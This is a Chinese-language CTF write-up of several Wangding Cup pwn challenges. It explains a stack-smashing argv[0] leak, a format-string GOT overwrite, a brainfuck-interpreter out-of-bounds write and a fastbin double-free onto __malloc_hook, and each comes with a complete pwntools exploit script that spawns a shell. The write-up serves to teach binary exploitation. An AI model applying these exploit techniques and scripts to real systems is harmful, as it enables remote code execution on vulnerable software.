第一场:
pwn--guess
可以看到,这题是把flag存在栈里面,然后让你去猜flag,这种题目一看就是让你泄漏出flag来,不需要进行getshell
这里可以看到,使用了线程的方法,因此就算是栈溢出崩溃了也没关系,让用户输入三次,那么我们就可以利用这三次去泄漏出flag
刚刚好分三步走:
- 泄漏libc的基址
- 泄漏environ的地址(也就是栈的地址)
- 泄漏flag
以上的三次泄漏都离不开一种叫做ssp的方法,就是通过栈溢出报错信息,泄漏出指定地址的方法:stack smashing detected:+argv[0]
如果我们覆盖argv[0],便会输出特定字符串
这个argv[0]在哪里找呢,首先你可以用gdb调试出来,在栈里面很高的位置,你可以看到他是指向文件名的:
找到argv[0]的地址后,就可以通过减去到栈上的地址,得到偏移
但实际,还有一种简单的方法可以直接找到这个地址:
于是我们每次在gets输入的时候就构造足够的填充字符,以覆盖掉argv[0]的位置
从而泄漏出我们想要泄漏的地址内容
第一次泄漏puts的真正地址,也是在argv[0]处覆盖为puts_got,由此计算出libc的基址,从而拿到真正的_environ的地址
第二次泄漏_environ,也就是栈的地址,也是在argv[0]处覆盖为_environ
为什么泄漏_environ可以泄漏出栈的地址呢?
是因为:
在linux应用程序运行时,内存的最高端是环境/参数节(environment/arguments section)
用来存储系统环境变量的一份复制文件,进程在运行时可能需要。
例如,运行中的进程,可以通过环境变量来访问路径、shell 名称、主机名等信息。
该节是可写的,因此在格式串(format string)和缓冲区溢出(buffer overflow)攻击中都可以攻击该节。
*environ指针指向栈地址(环境变量位置),有时它也成为攻击的对象,泄露栈地址,篡改栈空间地址,进而劫持控制流。
环境表是一个表示环境字符串的字符指针数组,由name=value这样类似的字符串组成,它储存在整个进程空间的的顶部,栈地址之上
其中value是一个以”\0″结束的C语言类型的字符串,代表指针该环境变量的值
一般我们见到的name都是大写,但这只是一个惯例
下面就是一个环境表的示意图:
相关姿势详细可见: http://tacxingxing.com/2017/12/16/environ/
总之,我们需要泄漏出栈的地址,才能泄漏出flag,而environ存着栈的地址,那么我们就泄漏它
第三次泄漏就是直接泄漏flag了,有了栈的地址,根据flag在栈上面的偏移很容易就可以泄漏出flag了
exp如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
elf = ELF("./GUESS")
#p = remote('106.75.90.160', 9999)
p = process("./GUESS")
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
payload = 'a'* 296 + p64(puts_got)
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
print "puts_addr:"+hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
environ_addr = libc_base + libc.symbols['_environ']
print "libc_base:"+hex(libc_base)
print "environ:"+hex(environ_addr)
payload = 'a'*296 + p64(environ_addr)
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
print "stack_addr:"+hex(stack_addr)
gdb.attach(p)
pause()
p.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(stack_addr-0x168)
p.sendline(payload)
p.interactive()
pwn--blind
这题也是比较骚的一题,将堆和IO_FILE的操作结合在一起
从上面可以看到,开了full relro,意味着不能修改函数的got表
---------填坑ing---------
第二场:
pwn--easyFMT
这是一道纯格式化利用的题目,因为不太熟练有关格式化漏洞的操作,做这题还花了一点时间,顺便倒回去复习了一波,发现这个格式化字符串骚起来还是有很多操作的,日后有时间专门总结一波各种用法吧
这题的逻辑还是比较简单的,也没开多少保护
分三步解题:
- 泄漏函数的真正地址,从而得到libc的版本和基址
- 改printf函数的got表为system的真实地址
- 输入“/bin/sh”在执行printf(&buf)的时候变相执行“system(/bin/sh)”
exp如下:
#encoding:utf-8
from pwn import *
context(os="linux",log_level = "debug")
#p = remote("106.75.126.184", 58579)
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc6_2.23-0ubuntu10_i386.so")
#这个libc是在泄漏puts函数地址后得,再去通过libcdatabase下载到本地的
puts_got = elf.got["puts"]
puts_libc = libc.symbols["puts"]
print "puts_got:"+hex(puts_got)
printf_got = elf.got["printf"]
system_libc = libc.symbols["system"]
payload = p32(puts_got) + '%6$s'
p.recvuntil("Do you know repeater?\n")
p.sendline(payload)
data = p.recv()
print data
puts = u32(data[4:8])#这里通过观察发现取第5--第8个字节才是puts的真正地址
print "puts---->"+hex(puts)
libc_base = puts - puts_libc
print "libc_base---->"+hex(libc_base)
system = system_libc+libc_base
payload = fmtstr_payload(6,{printf_got:system})
#pwntools下的一个工具,意思是在格式化字符串参数偏移为6,改printf_got的内容为system,非常方便直接利用
p.sendline(payload)
p.sendline('/bin/sh\0')
p.interactive()
pwn--Fgo
这题原题。。。出题人只是简单的把原题的函数名字和各种变量名字改了一下而已,醉了,跟hitcon-training的lab10hacknote一毛一样,就懒得写具体的解法了、、直接找原题做,然后原题的wp一堆
网鼎杯线下半决赛
pwn1
---------填坑ing-----------
pwn2
这种题目的类型叫做brainfuck
第一次接触这类题目,太菜了,直接导致了线下赛的失利,其实认真分析一波发现并不难
开启了常规的保护机制,接着就是理解题意:
输入一串不长于0x400的字符串
如果遇到>
则数组a的下标index则+1
如果遇到<
则数组a的下标index则-1
如果遇到+
则数组a的元素a[index]的值+1
如果遇到-
则数组a的元素a[index]的值-1
如果遇到.
则输出数组a的元素a[index]的值
如果遇到,
则向数组a的元素a[index]输入一个字节的值
充分理解了上面的规则,实际上就可以完成任意地址的读写了
后面的有关[
和]
的规则都不重要了,通过对上面的规则的利用就足以解题了
这题没有直接的后门函数,也不能栈溢出,也不是堆的漏洞,这种情况,就一般采用改某个函数的got表,从而改变函数的执行流程,也就需要用到one_gadget一梭子getshell
这里可以看到,a数组和index都在bss上存储,同时bss上面存在stderr,stdin,stdout,就可以利用这些来泄漏libc的基址,要泄漏他们则需要使得index指向他们,这里用数组下标溢出的方法就行了,输入负数,就可以使得index指向a数组往上的位置
同时,通过下图可以发现,函数的got表离bss段上的a数组很近,可以很方便地构造修改got表的操作
具体的exp如下
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./pwn2")
elf = ELF("./pwn2")
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def getshell():
p.interactive()
stdout = 0x602080
stderr = 0x6020A0
buf = 0x6020c0
offset1 = buf- stdout
exit_got = elf.got["exit"]
offset2 = stdout - exit_got +5
print "exit---->"+hex(exit_got)
print "offset1--->"+hex(offset1)
print "offset2--->"+hex(offset2)
payload = "<"*offset1
payload += ".>.>.>.>.>."
payload += "<"*offset2
payload += ",>,>,>,>,>,>,>,"
print payload
ru("Put the code: ")
sl(payload)
_IO_2_1_stdout_ = u64(p.recv(6).ljust(8,"\x00"))
libc_base = _IO_2_1_stdout_ - libc.symbols["_IO_2_1_stdout_"]
onegagde = libc_base+0xf1147
print "_IO_2_1_stdout_--->"+hex(_IO_2_1_stdout_)
print "libc_base--->"+hex(libc_base)
p.send(p64(libc_base+0xf1147))
getshell()
pwn3
保护机制全开的一题,看起来很难,当时是把我吓住了,后面回去复现才发现只是用了fastbin_attack的方法
整个程序由多个功能函数组成
先创建了一个0x28大小的chunk来存储三个信息,一是标志位flag,二是name的位置,三是tpye的内容,其中name的位置是一个chunk指针,指向了一个用户指定大小的chunk用于存储name的内容
接着这个0x28大小的chunk被存储到bss段中去,表示每一个不同的character,这里和常规的堆的题目一样,都有这样的chunk_list存在
常规操作,把chunk的内容给打印输出来
delete:这个delete函数的功能只是把name所在的chunk给free掉了,而先前创建0x28大小的chunk并没有被free掉
此外,程序中还有一个admin函数,似乎能实现很多操作,但我没深入去逆它,有点复杂,仅仅通过上面介绍的几个函数功能就能实现解题
解题的思路如下:
- 首先通过unsorted_bin,free掉一个chunk,让它进入unsorted_bin表,使得fd指向表头,然后通过泄漏出的地址,通过一顿偏移的操作,泄漏出malloc_hook的地址,进而泄漏出libc的基址
- 利用double-free,使得下一个新创建的chunk会落在malloc_hook上,进而改了malloc_hook的地址,改变程序执行流程
ps:这里需要注意的是,在构造double-free的时候,需要注意绕过他的检验,使得fd+0x08指向的数值是0x70~0x7f的,fd指向pre_size位,fd+0x08则指向了size位。具体原理可见:
https://ctf-wiki.github.io/ctf-wiki/pwn/heap/fastbin_attack/#fastbin-double-free
exp如下:
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
port=0
if ip:
p = remote(ip,port)
else:
p = process("./pwn3")
elf = ELF("./pwn3")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def create(Length,n,t):
ru("Your choice : ")
sl("1")
ru("Length of the name :")
sl(str(Length))
ru("The name of character :")
sd(n)
ru("The type of the character :")
sd(t)
def show():
ru("Your choice : ")
sl("2")
def delete(index):
ru("Your choice : ")
sl("3")
ru("Which character do you want to eat:")
sl(str(index))
def clean():
ru("Your choice : ")
sl("4")
create(0x98,'a'*8,'1234')
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')
create(0x28,'bbbb','456798')
delete(0)
clean()
#这里需要注意,delet完以后还得clean保证一个character中的两个chunk都被free了
#否则下面新创建chunk的时候会导致分配不到跟原先一样的指针
create(0x98,'a'*8,'1234')
show()
ru("a"*8)
leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak -0x58-0x10 -libc.symbols["__malloc_hook"]
print "leak----->"+hex(leak)
malloc_hook = libc_base +libc.symbols["__malloc_hook"]
print "malloc_hook----->"+hex(malloc_hook)
print "libc_base----->"+hex(libc_base)
one_gadget = 0xf02a4 + libc_base
#通过泄漏出的libc去onegadget中找
delete(1)
delete(2)
delete(1)
#debug()
create(0x68,p64(malloc_hook - 0x23),'1234')
#该0x23为调试所得,具体可以在gdb中查看内存找到,能绕过double-free的检测机制即可
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')
create(0x68,"a"*0x13+p64(one_gadget),'1234')
delete(0)
delete(0)
getshell()
'''
#两次free同一个chunk,触发报错函数
#而调用报错函数的时候又会用到malloc-hook,从而getshell
/* Another simple check: make sure the top of the bin is not the
record we are going to add (i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
'''